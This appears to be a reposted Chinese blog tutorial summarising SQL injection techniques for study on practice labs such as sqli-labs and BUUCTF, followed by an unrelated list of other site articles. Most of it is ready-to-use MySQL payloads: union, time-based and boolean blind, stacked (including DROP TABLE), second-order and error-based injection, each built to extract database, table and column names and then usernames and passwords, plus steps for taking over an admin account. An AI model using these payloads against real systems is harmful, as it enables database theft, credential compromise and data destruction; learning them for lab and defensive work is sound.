SQL 注入总结(详细)

一、前言

        这篇文章是最近学习 SQL 注入后的笔记,里面整理了 SQL 常见的注入方式,供大家学习了解 SQL 注入的原理及方法,也方便后续自己回顾,如有什么错误的地方欢迎指出!


二、判断注入类型

按照注入点类型分类

  • 数字型注入

        SQL中的语句格式:select * from users where id =x

        判断方法:使用 1 and 1=1  ,1 and 1=2 来判断

        当输入:and 1=1 时页面显示正常

                       select * from users where id =x and 1=1

            输入:and 1=2 时页面显示异常

                       select * from users where id =x and 1=2

           说明是数字型注入

  • 字符型注入

        SQL中的语句格式:select * from users where id ='x'

        判断方法:使用 1' and '1'='1  ,1' and '1'='2 来判断

        当输入:1’ and ‘1’='1 时页面显示正常

                       select * from users where id ='x' and '1'='1'

           输入:1’ and ‘1’='2 时页面显示异常

                      select * from users where id ='x' and '1'='2'

          说明是字符型注入

  • 搜索型注入

        基于搜索框的注入

        SQL中的语句格式:select * from database.table where users like '%要查询的关键字%'

       判断方法:

         某个商品名称%' and 1=1 and '%'='  (这个语句的功能就相当于普通SQL注入的 and 1=1)

select * from database.table where users like '%某个商品名称%' and 1=1 and '%'='%'

        页面显示正常

         某个商品名称%' and 1=2 and '%'='  (这个语句的功能就相当于普通SQL注入的 and 1=2)

select * from database.table where users like '%某个商品名称%' and 1=2 and '%'='%'

        页面显示异常

        根据上面的返回情况来判断是否存在搜索型注入


 三、联合注入

附简单的SQL注入语句供大家学习

  • 查找注入点

        语句:1' or 1 = 1#    (这条万能语句常用于登录框之类的注入,对于URL的后面会讲)

       

        作用:是爆出表中的所有字段

        举例:验证用户名和密码的语句

        【在地址栏中的注释符可以用:--+】

$sql="select * from users where username='$name' and password='$pwd'";

        当存在SQL注入,我们在密码出输入 1' or 1 = 1# 后,整条语句变成

$sql="select * from users where username='1' or 1 = 1#' and password='$pwd'";

        # 是注释符号,后面的内容被注释掉,or 是或,作用两边有一边为真,结果就为真,因为右边的 1=1 为真,所以上述语句等价于

select * from users where username='1' or 1 = 1

        即使用户名不存在也没关系,1=1 为 true,等价于

select * from users

        所以该语句的作用是爆破出所有字段

  • 查询字段数

        语句:1'  order by 数值#

  • 判断回显位

order by 判断字段数的目的就是为这一步做准备,如果只有 2 个字段,那union select 1,2# 才是正确的,写成 union select 1,2,3# 就错了,字段数只有两个没有三个

        语句:-1’ union select 1,2,3#

  • 爆破数据库名

        关键:database()

        根据回显位,在回显位输入所要内容对应的关键字。(例如回显位是 2)

        语句:-1' union select 1,database(),3#

  • 爆破表格名

        关键:group_concat(table_name) from information_schema.tables where table_schema=database()

        和爆破数据库名一样的思路

        语句:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database(),3#

  • 爆破表格字段

        关键:group_concat(column_name) from information_schema.columns where table_name='表格名'

        语句:-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='表格名',3#

  • 获取字段值

        关键:group_concat(id,username,password) from geekuser

        语句:-1' union select 1,group_concat(id,username,password) from geekuser,3#

(以上所用到的语句都属于联合注入,union select 开头的语句属于联合注入,这种注入有个前提条件,页面必须有回显位,如果页面没有回显位那就要考虑盲注,可直接在目录找到盲注相关内容)


四、盲注

概念:在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试(说白了就是猜测内容),这个过程成为盲注

注意:盲注是不能通过直接显示的途径来获取数据库信息。在盲注中,需要根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)

举例:

这种页面没有回显位置的就只能考虑盲注了,联合注入是实现不了的

盲注又分为:时间盲注布尔盲注

时间盲注

  • 使用场景:无论我们输入的语句是否合法,页面的显示信息是固定的,即不会出现查询的信息,也不会出现报错信息。

(可以尝试基于时间盲注来测试,根据页面响应的时间,来判断输入的信息是否正确)

  • 本质:利用插入的sql语句执行造成时间延迟

举例:

不管你怎么输入,页面都显示 You are in...... 不会变

这种情况就可以尝试时间盲注

第一步:判断参数构造

?id=1' and if(1=1,sleep(6),1)--+

如果 1=1 成立,延迟 6 秒才访问成功

这里会一直转,知道达到 6 s,如果 条件不成立(比如:1 = 2),那就会直接访问成功,不会转(当然了,实战时要确保网络正常,不然可能会出现误判)

第二步:判断数据名长度

?id=1'and if(length((select database()))=8,sleep(6),1)--+

解释:如果数据库长度为 8 ,则条件成立,延迟 6 s,否则不延迟,这个数字需要大家自己慢慢去试

第三步:爆破数据库名

方法一:

?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(6),1)--+

方法二:

?id=1' and if(left(database(),1)='s',sleep(6),1)--+

第四步:判断数据库表名长度

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(6),1)--+

第五步:爆破数据库表名

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(6),1)--+

刚开始判断的时候可以 >97、>99这样去快速逼近正确值,最后再用等号去确定

第六步:爆破所有字段名长度

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(6),1)--+

这里的 users 是通过前面的爆破数据库表名爆破出来的,那一步没过,是到不了这一步的,只有确定了账号密码等信息在哪个表,哪个字段才行

第七步:爆破字段名

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(6),1)--+

第八步:判断字段内容长度

假设得出存在 username、password等字段,那账号密码等数据大概率保存在这里面

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(6),1)--+

第九步:爆破字段内容

方法一:

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))=68,sleep(6),1)--+

十进制 68 对应的 ASCII 字符是 D

方法二:

个人感觉方法二更快,方法一还得去 ASCII 表对着找

?id=1' and if(left((select group_concat(username,password) from users),1)='D',sleep(5),1)--+


❤ 布尔盲注

使用场景:适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false

例题:sqli-labs 第五题

布尔盲注主要用到 length()ascii()substr() 这三个函数

步骤:

1、先判断长度

2、在判断字符

第一步:判断数据库名长度

判断数据库名长度:

?id=1' and length((select database()))=8--+

注意:1后面的 ' 是需要判断的,也有可能是 " ,也可能是 ')、") 这是语句里面的闭合符合,也可以是 >8、<8 之类的

说明数据库名长度为八

若是在输入框中,and 要改成 or

第二步:爆破数据库名

一个一个字符对着 ASCII 匹配,不难但是很耗时

?id=1' and ascii(substr((select database()),1,1))=115--+

substr("788888",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注因为要判断每一个字符,所以长度为一,后面就改变读取位置就可以了

十进制 ASCII 115 对应的字符是 s

还有 7 个字符,接着试,第二个字符:e、第三个字符:c、第四个字符:u、第五个字符:r、第六个字符:i、第七个字符:t、第八个字符:y

所以数据库名:security

另一种方法:left()

?id=1' and left(database(),1)='s' --+    (判断第一个字符是不是 s)

(手工破解太费时,可以使用脚本去破解)

第三步:判断数据库表长度

判断数据库表长度:

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29--+

上面那条语句的意思是判断所有数据库表名的长度

第四步:爆破表名

一个一个字符爆破表名

方法一:匹配字符

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

和上面一样,一个一个试,或者用脚本

方法二:直接匹配名字

?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 2,1)='uagents'--+

用第二种方法快一点哈,试出来有 users、uagents......

第五步:判断所有字段名长度

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))=20--+

第六步:爆破字段名

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

同样也可以直接匹配名字:

?id=1' and (select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)='username'--+

最后匹配发现有:username、password (这两个是比较关键的)

第七步:判断所有字段内容长度

?id=1' and length((select group_concat(username,password) from users))>109--+

第八步:爆破字段值(匹配账号密码)

方法一:

?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+

方法二:

?id=1' and (select username from users where id=1)='dumb'--+


五、堆叠注入

例题解析:BUUCTF【WEB】题:随便注-CSDN博客

推荐文章:SQL注入之堆叠注入(堆查询注入) - ruoli-s - 博客园 (cnblogs.com)

概念:堆叠注入,也称堆查询注入,顾名思义就是多条语句同时执行。在SQL中,分号 ; 用来表示一条 sql 语句的结束。在 ; 结束一个sql语句后继续构造下一条语句,是否会一起执行?因此这个想法也就造就了堆叠注入,攻击就是利用此特点,在第二条语句中构造payload。

原理:很简单,mysql_multi_query() 支持多条sql语句同时执行

防范方法:使用 mysqli_ query() 函数,其只能执行一条语句,分号后面的内容将不会被执行;过滤特殊符号 “ ; ”。

堆叠注入优点:联合查询 union 也可拼接语句(有局限性),但是堆叠注入能注入任意语句

当然了,堆叠注入的条件比较苛刻,可能受到API或者数据库引擎不支持的限制

未对 ";" 号进行过滤;未禁止执行多条sql语句

举例一:

新建表,表名:test

select * from users where id=1;create table test like users; 

删除表,表名:test

select * from users where id=1;drop table test;

......还有很多,可以自行搜索

举例二:

        比如现在在输入框中输入 1' or 1 = 1# ,发现字段被爆破出来了,说明存在 SQL注入

        尝试堆叠注入

        查询数据库名:1';show database();#

        查询表格名:1';show tables;#

        查询表的结构(获取字段):

                1'; show columns from tableName;#

                1';desc tableName;#

                【注意:如果 tableName 是纯数字,则需要用单引号(`)将其括起来】

        表结构:
        表结构就是定义数据表文件名,确定数据表包含哪些字段,各字段的字段名、字段类型、及宽度,并将这些数据输入到计算机当中。

        查看字段值:

                1';select 字段名 from `纯数字表名`;

                1';select 字段名 from 非纯数字表名;

【当然了,上面所说的都是一些简单的,在关键字未被过滤的情况下,若是关键字被过滤了,那就要用绕过方法配合这些语句来使用,常见的绕过方法文章尾部有】


六、二次注入

概念:

        二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。二次注入是 SQL 注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。

原理:

        在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在后端代码中可能会被转义,但是addslashes 有一个特点就是虽然参数在过滤后会添加  “\”  进行转义,但是 “\” 并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。数据中一般带有单引号号,然后下次使用在拼凑 SQL 中。

二次注入没有什么命令需要去记住,适合用于获取管理员登录权限的思路

这里用一个例题来给大家演示(sqli 靶场的第二十关)

我们猜测管理员的账户名称是:admin,我门直接到注册界面重新注册一个名称为 admin'# 的用户

密码是 123456 ,这时候我们用 123456 去登录管理员账号是登不进去的,因为我们的用户名称是:admin'# 我们用 admin'# 登录进去

然后修改密码,改成 12 ,然后使用 12 去登录管理员的账户

这就是二次注入的作用

解析:

前面所注册的 admin '# 账号,在注册时,后端对其进行了转义,'# 被转义成了其他的东西,所以第一次注入无效。但是在保存进数据库的时候,还是 admin '#

那么修改密码时的语句如下:
 

update users set  password='123' where username='admin'#'

等价于

update users set  password='123' where username='admin'

所以最终我们 admin'# 的密码没有修改,反而是管理员的密码被修改了

防范:前后端都对数据进行检测


七、报错注入

 使用场景:在联合查询无法实现的情况下可以尝试使用报错注入,比如说 union 被过滤

理解:一般指页面没有回显,但是SQL语句执行可以输出错误信息的情况。报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

例题:BUUCTF在线评测 (buuoj.cn)

 这里提供几篇文章供大家深入理解这两个函数

updatexml函数-报错注入原理学习-CSDN博客

SQL注入实战之报错注入篇(updatexml extractvalue floor) - 陈子硕 - 博客园 (cnblogs.com)

基于extractvalue()的报错注入_extractvalue报错注入-CSDN博客

相关函数:

extractvalue (XML_document, XPath_string)

  • 第一个参数:XML_document 是目标XML文档
  • 第二个参数:XPath_string 是该XML文档的路径,如果写入其他格式就会报错,并且返回非法格式的内容,报错注入正是利用这一点

updatexml (XML_document, XPath_string, new_value)

  • 第一个参数:XML_document 是目标XML文档
  • 第二个参数:XPath_string 是该XML文档的路径,如果写入其他格式就会报错,并且返回非法格式的内容,报错注入正是利用这一点
  • 第三个参数:new_value 用来替换查找到的符合条件的数据
  • 例如: 1' or updatexml(1,concat('#',database()),1)#,由于 # 不属于xpath语法格式,因此报出xpath语法错误。

其他函数报错注入方式后期补充

①、extractvalue报错注入

❤ 爆破数据库名

1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#

❤ 爆破表格名

1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#

❤ 爆破字段名

1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表格名'),0x5c)))#

❤ 爆破字段值

1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from 表格名),0x5c)))#

注意:

若是对于修改密码页面则需要另一种方法爆破对应用户密码

1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='想要爆破的用户名') b) ,0x5c)))#

②、updatexml报错注入

❤ 爆破数据库名

1' or updatexml(1,concat('#',database()),1)#

❤ 爆破表格名

1' or updatexml(1,concat(0x7e,select table_name from information_schema.tables where table_schema = '数据库名',0x7e),1)#

❤ 爆破表格字段

​1' or updatexml(1,concat('#',select group_concat(column_name) from information_schema.columns where table_name = '表格名'),1)#

❤ 获取字段值

1' or updatexml(1,concat('#',select group_concat(id,username,password) from 表格名),1)#

❤爆破对应用户的密码

123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='用户名') b),0x5c),1))#

③、group by报错注入

推荐一篇文章,便于理解 group by 报错注入,该注入方法比较复杂

深入理解group by报错注入-CSDN博客

❤爆破数据库

123' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))#

❤爆破出所有数据库表格

1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))#

❤爆破字段名

1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))#

❤爆破字段值

1' and (select count(*) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))#

❤爆破用户密码

1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='用户名'),0x7e,floor(rand(0)*2)))a)#


八、常见的绕过技巧

SQL注入一些过滤及绕过总结_sql注入过滤-CSDN博客


九、不错的SQL注入文章推荐

​SQL注入非常详细总结_sql注入实验总结-CSDN博客


十、不错的SQL注入练习靶场

1、安装教程

SQL注入测试工具之Sqli-labs下载安装 - 知乎 (zhihu.com)

2、题目解析

详细sqli-labs(1-65)通关讲解-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/245053.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

QT 实现自动生成小学两位数加减法算式

小学生加减法训练 QT实现–自动生成两位数加减法算式&#xff0c;并输出txt文件 可以copy到word文件&#xff0c;设置适当字体大小和行间距&#xff0c;带回家给娃做做题 void MainWindow::test(int answerMax, int count) {// 创建一个随机数生成器QRandomGenerator *gener…

AIGC:让生成式AI成为自己的外脑(文末送书)

&#x1f308;个人主页&#xff1a;聆风吟 &#x1f525;系列专栏&#xff1a;数据结构、网络奇遇记 &#x1f516;少年有梦不应止于心动&#xff0c;更要付诸行动。 文章目录 &#x1f4cb;前言一. 什么是AIGC?二. AIGC如何运作&#xff1f;2.1 步骤一&#xff1a;收集数据2.…

某顺cookie逆向

目标网站:aHR0cHM6Ly9xLjEwanFrYS5jb20uY24v 这个网站是对cookie进行反爬虫的&#xff0c;可以看到cookie中有一个加密参数v 二、分析参数 可以使用hook方法&#xff0c;来hook住cookie中v生成的位置&#xff0c;可以直接在控制台中输入hook函数 (function () {use strict;v…

ZigBee学习——浅析协议栈

✨记录学习过程 文章目录 一、初识OSAL1.1 Z-Stack和Zigbee的OSAL是什么关系&#xff1f;1.2 OSAL可以解决Z-stack在不同厂商的芯片上的使用吗&#xff1f; 二、协议栈运行机制2.1 初始化涉及内容2.2 初始化过程 一、初识OSAL OSAL&#xff0c;全称是操作系统抽象层&#xff0…

五分钟学会接口自动化测试框架

今天&#xff0c;我们来聊聊接口自动化测试。 接口自动化测试是什么&#xff1f;如何开始&#xff1f;接口自动化测试框架如何搭建&#xff1f; 自动化测试 自动化测试&#xff0c;这几年行业内的热词&#xff0c;也是测试人员进阶的必备技能&#xff0c;更是软件测试未来发…

前端开发提高效率的两大工具

一、浏览器中的开发者工具 怎么启动开发者工具&#xff1f; 在浏览器中按下F12或者鼠标右键点击检查 怎么利用&#xff08;常用的几点&#xff09;&#xff1f; 1、元素 点击标红的图标可以用于在页面选择元素&#xff0c;同时右侧会找到元素在前端代码中的位置 点击下方红…

用艺术陪伴困境群体活动在庐阳区双岗街道万小店社区开展

用艺术陪伴困境群体活动在庐阳区双岗街道万小店社区开展 1月23日上午9时&#xff0c;王莉老师带领“一欣工作室”的七位小朋友冒着严寒&#xff0c;来到位于万小店社区和煦园小区的合肥市庐阳区为民社会工作服务中心&#xff0c;慰问陪伴中心的兄弟姐妹。 大家一起唱歌、一起表…

【51单片机系列】proteus中的LCD12864液晶屏

文章来源&#xff1a;《单片机C语言编程与Proteus仿真技术》。 点阵字符型LCD显示模块只能显示英文字符和简单的汉字&#xff0c;要想显示较为复杂的汉字或图形&#xff0c;就必须采用点阵图型LCD显示模块&#xff0c;比如12864点阵图型LCD显示模块。 文章目录 一、 LCD12864点…

用可视化案例讲Rust编程4. 用泛型和特性实现自适配shapefile的读取

本节已经涉及Rust学习曲线上的一个大坑&#xff1a;泛型和特性了&#xff0c;属于语言的深水区&#xff0c;如果初学者&#xff0c;建议看一眼知道有这个功能即可。 如果我们立足于功能实现&#xff0c;那么做到像上一节那样就可以了&#xff0c;从原理上来说&#xff0c;每个…

2023 工业 AR 关键词:纵深和开拓

2023 年&#xff0c;以虚实融合、工业元宇宙为代表的“新数字化”升级在工业制造领域达成共识。 ▲五部委联合印发元宇宙行动计划 通过发展元宇宙赋能新型工业化 而相对过去几年的行业渗透广、落地场景多样的 AR 业务拓展与合作&#xff0c;#纵深和#开拓&#xff0c;成为 2023…

在WIN从零开始在QMUE上添加一块自己的开发板(一)

文章目录 一、前言二、源码编译&#xff08;一&#xff09;安装Msys2&#xff08;二&#xff09;配置GCC工具链&#xff08;三&#xff09;安装QEMU构建依赖&#xff08;四&#xff09;下载编译QEMU源码 二、QUME编程基础&#xff08;一&#xff09;QOM机制&#xff08;二&…

【计算机网络】【练习题】【新加坡南洋理工大学】【Computer Control Network】

说明&#xff1a; 仅供学习使用。 一、题目描述 该题目描述一个网络中传播时延&#xff08;Transmission Delay&#xff09;的例子。题目如下&#xff1a; 二、问题解答&#xff08;个人&#xff09; 笔者第3问采用均值不等式求解。标答中采用求导数的方法求极值。似乎均值…

Sqlite真空命令VACUUM

之前在项目中使用了sqlite数据库&#xff0c;当日志变大时&#xff0c;执行CRUD操作就会变慢 后来尝试删除7天前的记录进行优化 delete from XX_CollectData where CreateTime<2024-01-24 发现sqlite文件的大小就没有变化&#xff0c;delete命令只是逻辑删除&#xff0c;…

python222网站实战(SpringBoot+SpringSecurity+MybatisPlus+thymeleaf+layui)-热门标签推荐显示实现

锋哥原创的SpringbootLayui python222网站实战&#xff1a; python222网站实战课程视频教程&#xff08;SpringBootPython爬虫实战&#xff09; ( 火爆连载更新中... )_哔哩哔哩_bilibilipython222网站实战课程视频教程&#xff08;SpringBootPython爬虫实战&#xff09; ( 火…

k8s的图形化工具--rancher

什么是rancher&#xff1f; rancher是一个开源的企业级多集群的k8s管理平台 rancher和k8s的区别 都是为了容器的调度和编排系统&#xff0c;但是rancher不仅能够调度&#xff0c;还能管理k8s集群&#xff0c;自带监控&#xff08;普罗米修斯&#xff09; 实验部署 实验架构…

Biotin-PEG4-TSA,生物素-PEG4-酪胺,用于标记蛋白质、核酸等生物分子

您好&#xff0c;欢迎来到新研之家 文章关键词&#xff1a;Biotin-PEG4-Tyramide&#xff0c;Biotin-PEG4-TSA&#xff0c;生物素-PEG4-酪胺&#xff0c;Biotin PEG4 Tyramide&#xff0c;Biotin PEG4 TSA 一、基本信息 产品简介&#xff1a;Biotin PEG4 Tyramide is compos…

.git 文件夹结构解析

.git 文件夹结构解析 在这篇文章就让我们来看看这个 Git 仓库里的文件分别都是用来干什么的&#xff0c;以及在执行了相关的 Git 命令后这些文件会如何响应。 hooks&#xff08;钩&#xff09;&#xff1a;存放一些shell脚本info&#xff1a;存放仓库的一些信息logs&#xff…

Adobe Media Encoder 2023下载安装教程,ME 2023安装教程,附安装包和工具,无套路,轻松搞的安装

前言 Adobe Media Encoder是一个视频和音频编码应用程序&#xff0c;可让针对不同应用程序和观众&#xff0c;以各种分发格式对音频和视频文件进行编码。包括专门设计的预设设置&#xff0c;以便导出与特定交付媒体兼容的文件&#xff0c;可以按适合多种设备的格式导出视频&am…

【进入游戏行业选游戏特效还是技术美术?】

进入游戏行业选游戏特效还是技术美术&#xff1f; 游戏行业正处于蓬勃发展的黄金时期&#xff0c;科技的进步推动了游戏技术和视觉艺术的飞速革新。在这个创意和技术挑战交织的领域里&#xff0c;游戏特效和技术美术岗位成为了许多人追求的职业目标。 这两个岗位虽然紧密关联…

Linux编辑器vim(含vim的配置)

文章目录 前言vim的基本概念vim基本操作进入vim模式切换退出vim vim指令vim命令模式指令vim底行模式命令 简单vim配置 前言 本篇文章&#xff0c;小编将介绍Linux编辑器–>vim以及vim的配置。 vim的基本概念 正常/普通/命令模式(Normal mode) 控制屏幕光标的移动&#xf…